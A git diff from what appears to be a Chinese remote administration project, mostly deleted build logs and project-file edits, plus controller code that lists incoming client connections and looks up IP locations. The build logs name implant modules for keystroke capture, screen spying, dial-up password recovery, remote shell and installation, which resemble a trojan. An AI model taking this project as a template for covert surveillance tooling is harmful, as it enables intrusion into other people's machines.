-g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.ipdb -g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.iobj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\vc141.pdb -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\pch.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\audio.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\until.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\buffer.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\videomanager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\videocap.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\screenspy.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\regeditex.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\manager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\install.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dialupass.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\filemanager.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dllmain.obj -g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.dll -g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.pdb -g:\ccremote\ccremote\ccmaindll\ccmaindll\..\bin\server\server.dll\ccmaindll.dll -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.log b/CcMainDll/CcMainDll/Release/CcMainDll.log deleted file mode 100644 index 9c1f1ee..0000000 --- a/CcMainDll/CcMainDll/Release/CcMainDll.log +++ /dev/null @@ -1,107 +0,0 @@ -G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 -cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” - pch.cpp -cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” - Audio.cpp -g:\ccremote\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配 -cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” - ClientSocket.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配 - Buffer.cpp - KeyboardManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配 - until.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决 - g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决 - g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 -cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” - AudioManager.cpp - Dialupass.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决 - g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 - install.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明 - KernelManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配 - Manager.cpp - RegEditEx.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明 - ScreenManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义 - g:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义 - ScreenSpy.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配 - ShellManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 - SystemManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(111): warning C4018: “<”: 有符号/无符号不匹配 - VideoCap.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量 - VideoManager.cpp -cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” - FileManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出 -cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” - dllmain.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决 - g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(166): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略 - 正在创建库 ..\bin\server\server.dll\CcMainDll.lib 和对象 ..\bin\server\server.dll\CcMainDll.exp - 正在生成代码 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值 - All 364 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. - 已完成代码的生成 - CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\CcMainDll\..\bin\server\server.dll\CcMainDll.dll diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate b/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate deleted file mode 100644 index fd0ad53..0000000 --- a/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate +++ /dev/null @@ -1,2 +0,0 @@ -#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Release|Win32|G:\CcRemote\CcRemote\CcMainDll\| diff --git a/CcMainDll/TestLoadDll/Debug/TestLoadDll.Build.CppClean.log b/CcMainDll/TestLoadDll/Debug/TestLoadDll.Build.CppClean.log index a233a36..a958703 100644 --- a/CcMainDll/TestLoadDll/Debug/TestLoadDll.Build.CppClean.log +++ b/CcMainDll/TestLoadDll/Debug/TestLoadDll.Build.CppClean.log @@ -1,13 +1,13 @@ -g:\ccremote\ccremote\ccmaindll\testloaddll\debug\vc141.pdb -g:\ccremote\ccremote\ccmaindll\testloaddll\debug\vc141.idb -g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.obj -g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.ilk -g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe -g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.pdb -g:\ccremote\ccremote\ccmaindll\testloaddll\..\bin\server\testloaddll.exe -g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.command.1.tlog -g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.read.1.tlog -g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.write.1.tlog -g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.command.1.tlog -g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.read.1.tlog -g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.write.1.tlog +f:\myapp\ccremote\ccmaindll\testloaddll\debug\vc141.pdb +f:\myapp\ccremote\ccmaindll\testloaddll\debug\vc141.idb +f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.obj +f:\myapp\ccremote\ccmaindll\bin\server\testloaddll.ilk +f:\myapp\ccremote\ccmaindll\bin\server\testloaddll.exe +f:\myapp\ccremote\ccmaindll\bin\server\testloaddll.pdb +f:\myapp\ccremote\ccmaindll\testloaddll\..\bin\server\testloaddll.exe +f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.command.1.tlog +f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.read.1.tlog +f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.write.1.tlog +f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.command.1.tlog +f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.read.1.tlog +f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.write.1.tlog diff --git a/CcMainDll/TestLoadDll/Debug/TestLoadDll.log b/CcMainDll/TestLoadDll/Debug/TestLoadDll.log index 36ecdf0..d8f6575 100644 --- a/CcMainDll/TestLoadDll/Debug/TestLoadDll.log +++ b/CcMainDll/TestLoadDll/Debug/TestLoadDll.log @@ -1,3 +1,2 @@ -G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 - TestLoadDll.cpp - TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\bin\server\TestLoadDll.exe +C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 + TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe diff --git a/CcMainDll/TestLoadDll/Debug/TestLoadDll.tlog/TestLoadDll.lastbuildstate b/CcMainDll/TestLoadDll/Debug/TestLoadDll.tlog/TestLoadDll.lastbuildstate index 03e57a1..bd1e4f2 100644 --- a/CcMainDll/TestLoadDll/Debug/TestLoadDll.tlog/TestLoadDll.lastbuildstate +++ b/CcMainDll/TestLoadDll/Debug/TestLoadDll.tlog/TestLoadDll.lastbuildstate @@ -1,2 +1,2 @@ #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\| +Debug|Win32|F:\myapp\CcRemote\CcMainDll\| diff --git a/CcMainDll/TestLoadDll/TestLoadDll.vcxproj b/CcMainDll/TestLoadDll/TestLoadDll.vcxproj index 07de2f1..3edc7ae 100644 --- a/CcMainDll/TestLoadDll/TestLoadDll.vcxproj +++ b/CcMainDll/TestLoadDll/TestLoadDll.vcxproj @@ -72,11 +72,11 @@ <PropertyGroup Label="UserMacros" /> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <LinkIncremental>false</LinkIncremental> - <OutDir>..\bin\server</OutDir> + <OutDir>..\..\bin\server</OutDir> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <LinkIncremental>true</LinkIncremental> - <OutDir>..\bin\server</OutDir> + <OutDir>..\..\bin\server</OutDir> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <LinkIncremental>true</LinkIncremental> diff --git a/CcRemote/.vs/CcRemote/v15/.suo b/CcRemote/.vs/CcRemote/v15/.suo index 5fb95da..6f34395 100644 Binary files a/CcRemote/.vs/CcRemote/v15/.suo and b/CcRemote/.vs/CcRemote/v15/.suo differ diff --git a/CcRemote/CcRemote/CcRemote.cpp b/CcRemote/CcRemote/CcRemote.cpp index 8372f80..9fe09e8 100644 --- a/CcRemote/CcRemote/CcRemote.cpp +++ b/CcRemote/CcRemote/CcRemote.cpp @@ -26,6 +26,17 @@ CCcRemoteApp::CCcRemoteApp() // 支持重新启动管理器 m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART; + //打开文件句柄,检查QQwry.dat是村存在,然后给publi变量设置BOOL值 + HANDLE hFile = CreateFile("QQwry.dat", 0, 0, NULL, OPEN_EXISTING, 0, NULL); + if (hFile != INVALID_HANDLE_VALUE) + { + m_bIsQQwryExist = true; + } + else + { + m_bIsQQwryExist = false; + } + CloseHandle(hFile); // TODO: 在此处添加构造代码, // 将所有重要的初始化放置在 InitInstance 中 } diff --git a/CcRemote/CcRemote/CcRemote.h b/CcRemote/CcRemote/CcRemote.h index b10fcb5..2205934 100644 --- a/CcRemote/CcRemote/CcRemote.h +++ b/CcRemote/CcRemote/CcRemote.h @@ -19,7 +19,7 @@ class CCcRemoteApp : public CWinApp { public: CCcRemoteApp(); - + bool m_bIsQQwryExist; CIniFile m_IniFile;//配置文件对象 // 重写 public: diff --git a/CcRemote/CcRemote/CcRemote.vcxproj b/CcRemote/CcRemote/CcRemote.vcxproj index e71a682..504a472 100644 --- a/CcRemote/CcRemote/CcRemote.vcxproj +++ b/CcRemote/CcRemote/CcRemote.vcxproj @@ -76,12 +76,14 @@ <PropertyGroup Label="UserMacros" /> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <LinkIncremental>true</LinkIncremental> + <OutDir>..\..\bin</OutDir> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <LinkIncremental>true</LinkIncremental> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <LinkIncremental>false</LinkIncremental> + <OutDir>..\..\bin</OutDir> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <LinkIncremental>false</LinkIncremental> @@ -199,6 +201,7 @@ </ResourceCompile> </ItemDefinitionGroup> <ItemGroup> + <ClInclude Include="..\..\common\macros.h" /> <ClInclude Include="CcRemote.h" /> <ClInclude Include="CcRemoteDlg.h" /> <ClInclude Include="CSettingDlg.h" /> @@ -211,6 +214,7 @@ <ClInclude Include="pch.h" /> <ClInclude Include="PublicStruct.h" /> <ClInclude Include="Resource.h" /> + <ClInclude Include="SEU_QQwry.h" /> <ClInclude Include="targetver.h" /> <ClInclude Include="TrueColorToolBar.h" /> </ItemGroup> @@ -239,6 +243,7 @@ <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader> </ClCompile> + <ClCompile Include="SEU_QQwry.cpp" /> <ClCompile Include="TrueColorToolBar.cpp" /> </ItemGroup> <ItemGroup> diff --git a/CcRemote/CcRemote/CcRemote.vcxproj.filters b/CcRemote/CcRemote/CcRemote.vcxproj.filters index 8ed25d4..499ab59 100644 --- a/CcRemote/CcRemote/CcRemote.vcxproj.filters +++ b/CcRemote/CcRemote/CcRemote.vcxproj.filters @@ -63,6 +63,12 @@ <ClInclude Include="CSettingDlg.h"> <Filter>头文件</Filter> </ClInclude> + <ClInclude Include="..\..\common\macros.h"> + <Filter>头文件</Filter> + </ClInclude> + <ClInclude Include="SEU_QQwry.h"> + <Filter>头文件</Filter> + </ClInclude> </ItemGroup> <ItemGroup> <ClCompile Include="CcRemote.cpp"> @@ -92,6 +98,9 @@ <ClCompile Include="CSettingDlg.cpp"> <Filter>源文件</Filter> </ClCompile> + <ClCompile Include="SEU_QQwry.cpp"> + <Filter>源文件</Filter> + </ClCompile> </ItemGroup> <ItemGroup> <ResourceCompile Include="CcRemote.rc"> diff --git a/CcRemote/CcRemote/CcRemoteDlg.cpp b/CcRemote/CcRemote/CcRemoteDlg.cpp index dc9c29a..1ac7dc8 100644 --- a/CcRemote/CcRemote/CcRemoteDlg.cpp +++ b/CcRemote/CcRemote/CcRemoteDlg.cpp @@ -8,13 +8,15 @@ #include "CcRemoteDlg.h" #include "afxdialogex.h" #include "CSettingDlg.h" +#include "..\..\common\macros.h" + #ifdef _DEBUG #define new DEBUG_NEW #endif - +CCcRemoteDlg *g_pPCRemoteDlg = NULL; //声明全局变量 CIOCPServer *m_iocpServer = NULL; // 用于应用程序“关于”菜单项的 CAboutDlg 对话框 @@ -58,6 +60,13 @@ CCcRemoteDlg::CCcRemoteDlg(CWnd* pParent /*=nullptr*/) : CDialogEx(IDD_CCREMOTE_DIALOG, pParent) { m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); + //iCount = 0; + g_pPCRemoteDlg = this; + if (((CCcRemoteApp *)AfxGetApp())->m_bIsQQwryExist)//APP初始化会检查文件是否存在 + { + m_QQwry = new SEU_QQwry; + m_QQwry->SetPath("QQWry.Dat"); + } } void CCcRemoteDlg::DoDataExchange(CDataExchange* pDX) @@ -70,6 +79,7 @@ void CCcRemoteDlg::DoDataExchange(CDataExchange* pDX) BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx) //-------------自定义------------ ON_MESSAGE(UM_ICONNOTIFY, (LRESULT(__thiscall CWnd::*)(WPARAM, LPARAM))OnIconNotify) + ON_MESSAGE(WM_ADDTOLIST,OnAddToList) //-------------系统------------- ON_WM_SYSCOMMAND() @@ -104,7 +114,6 @@ void CALLBACK CCcRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext, { try { - ::MessageBox(NULL, "有连接到来!!", "", NULL); switch (nCode) { case NC_CLIENT_CONNECT: @@ -118,7 +127,7 @@ void CALLBACK CCcRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext, //ProcessReceive(pContext); //这里是有数据到来 但没有完全接收 break; case NC_RECEIVE_COMPLETE: - //ProcessReceiveComplete(pContext); //这里时完全接收 处理发送来的数据 跟进 ProcessReceiveComplete + ProcessReceiveComplete(pContext); //这里时完全接收 处理发送来的数据 跟进 ProcessReceiveComplete break; } } @@ -378,7 +387,7 @@ int CCcRemoteDlg::InitList() } -void CCcRemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing) +void CCcRemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext) { m_CList_Online.InsertItem(0, strIP); //默认为0行 这样所有插入的新列都在最上面 m_CList_Online.SetItemText(0, ONLINELIST_ADDR, strAddr); //设置列的显示字符 这里 ONLINELIST_ADDR等 为第二节课中的枚举类型 用这样的方法 @@ -430,10 +439,10 @@ void CCcRemoteDlg::ShowMessage(bool bIsOK, CString strMsg) void CCcRemoteDlg::Test() { ShowMessage(true, "软件初始化成功..."); - AddList("192.168.0.1", "本机局域网", "CHANG", "Windows7", "2.2GHZ", "有", "123232"); - AddList("192.168.10.1", "本机局域网", "WANG", "Windows10", "2.2GHZ", "无", "111111"); - AddList("192.168.18.25", "本机局域网", "LIU", "Windows8", "2.2GHZ", "有", "654321"); - AddList("192.168.97.162", "本机局域网", "SHANG", "WindowsXP", "2.2GHZ", "无", "123456"); + //AddList("192.168.0.1", "本机局域网", "CHANG", "Windows7", "2.2GHZ", "有", "123232"); + //AddList("192.168.10.1", "本机局域网", "WANG", "Windows10", "2.2GHZ", "无", "111111"); + //AddList("192.168.18.25", "本机局域网", "LIU", "Windows8", "2.2GHZ", "有", "654321"); + //AddList("192.168.97.162", "本机局域网", "SHANG", "WindowsXP", "2.2GHZ", "无", "123456"); } @@ -712,4 +721,211 @@ void CCcRemoteDlg::ListenPort() if (nMaxConnection == 0) nMaxConnection = 10000; Activate(nPort, nMaxConnection); //开始监听 +} + + +void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext) +{ + if (pContext == NULL) + return; + + // 如果管理对话框打开,交给相应的对话框处理 + CDialog *dlg = (CDialog *)pContext->m_Dialog[1]; //这里就是ClientContext 结构体的int m_Dialog[2]; + + // 交给窗口处理 + /*if (pContext->m_Dialog[0] > 0) //这里查看是否给他赋值了,如果赋值了就把数据传给功能窗口处理 + 